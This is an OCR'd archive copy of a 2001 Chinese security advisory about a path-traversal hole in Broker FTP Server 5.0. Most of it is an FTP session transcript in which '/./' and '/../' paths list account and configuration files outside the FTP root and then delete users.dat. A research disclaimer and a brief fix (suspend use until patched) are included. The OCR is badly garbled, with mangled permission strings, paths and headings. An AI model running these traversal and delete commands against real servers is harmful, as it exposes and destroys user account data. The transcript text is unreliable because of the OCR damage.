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The Wayback Machine - https:/web.archive.org/web/20010311143902/http:/www.cnhonkercom:80/whatnewy/data/20010308/010133.htm 


>> 联 盟 首 页 >> 技术 资料 >> 新 闻 报 道 
本 新 闻 已 被 浏览 次 


Broker Ftp 服务 器 泄露 系统 文件 漏洞 


2001-03-08.01:01:33 


以 下 代码 仅仅 用 来 测试 和 研究 这 个 漏洞 ， 如 果 您 将 其 用 于 不 正当 的 途径 请 后 果 自 负 


230 User test logged in . 

ftp> dir 

200 Port command Successful. 

150 Opening data connection for directory 1list. 
drw-Trw-rw- 1 ftp ftp 0 Mar 02 12:17 test 
-TW-TW-TwW- 1 ftp ftp 6 Mar 02 12:33 movedtohomedir.txt 
-TW-TW-TwW- 1 ftp ftp 11 Mar 02 00:29 bisontest.txt 
drw-rw-rw- 1 ftp ftp 0 Mar 03 15:39 HITP 
drw-Trw-Trw- 1 ftp ftp 0 Mar 03 17:05 huphu 

226 File sent ok 

FTP: 323 Bytes empfangen in 0,00Sekunden 
323000,00KB/S 

ftp> cd .. 

550 CWD failed. … No permission 


ftp> dir /./experimental/broker/data/ 

200 Port command Successful. 

150 Opening data connection for directory list. 
-TW-TW-TwW- 1 ftp ftp 175 Nov 19 2000 USserGrps.dat 
-TW-TW-TW- 1 ftp ftp 134 Mar 03 16:54 Users.dat 
-TW-TW-TwW- 1 ftp ftp 0 Mar 03 16:33 Users.4800.bak 
-TW-TW-TwW- 1 ftp ftp 0 Mar 03 16:34 Users.4800-Prof.bak 
-TW-TW-TwW- 1 ftp ftp 31 Mar 03 16:59 BannCtrl.ini 
-TW-TW-TwW- 1 ftp ftp 34 Mar 03 17:08 KickCtrlini 
-TW-TW-TwW- 1 ftp ftp 38 Mar 03 16:37 Events_1.dat 
-TW-TW-TwW- 1 ftp ftp 0 Mar 03 16:53 Events_lst_1.dat 
-TW-TW-TwW- 1 ftp ftp 134 Mar 03 10:54 氏 opie von Users.dat 
226 File Sent ok 

FTP: 629 Bytes empfangen in 0,00Sekunden 
629000,00KB/AS 


https:/web.archive.org/web/20010311143902/http:Wwww.cnhonker.com/whatnew/data/20010308/010133.htm 


]1/2 


10/25/22, 10:25 AM Broker Ftp 服务 器 汽 露 系统 文件 漏洞 
删除 ROOT 之 外 的 文件 。 
ftp> delete /../experimental/broker/data/users.dat 
250 File /../experimental/brokerdata/users.dat 
deleted. 
ftp> quit 
221-Thank you for your Visit. 


C:>ftp 10.17.3.44 

Verbindung mit 10.17.3.44 wurde hergestellt. 
220 FITP Server ready [ 关 关 光 ] 

Benutzer (10.17.3.44:none)): test 

331 Password required for test. 

ennwotrt: 

530 Login incorrect. 

Anmeldung fehlgeschlagen. 

ftp> :( 


受 影响 系统 : 
Broker Ftp Server 5.0 


解决 方案 : 
H.U.C 建 议 您 在 下 载 补丁 之 前 暂停 使 用 此 服务 器 。 


cnhonker.com . 


>> 相 关 资 料 


关闭 本 窗口 


https://web.archive.org/web/20010311143902/http:Wwww.cnhonker.com/whatnew/data/20010308/010133.htm 2/2 


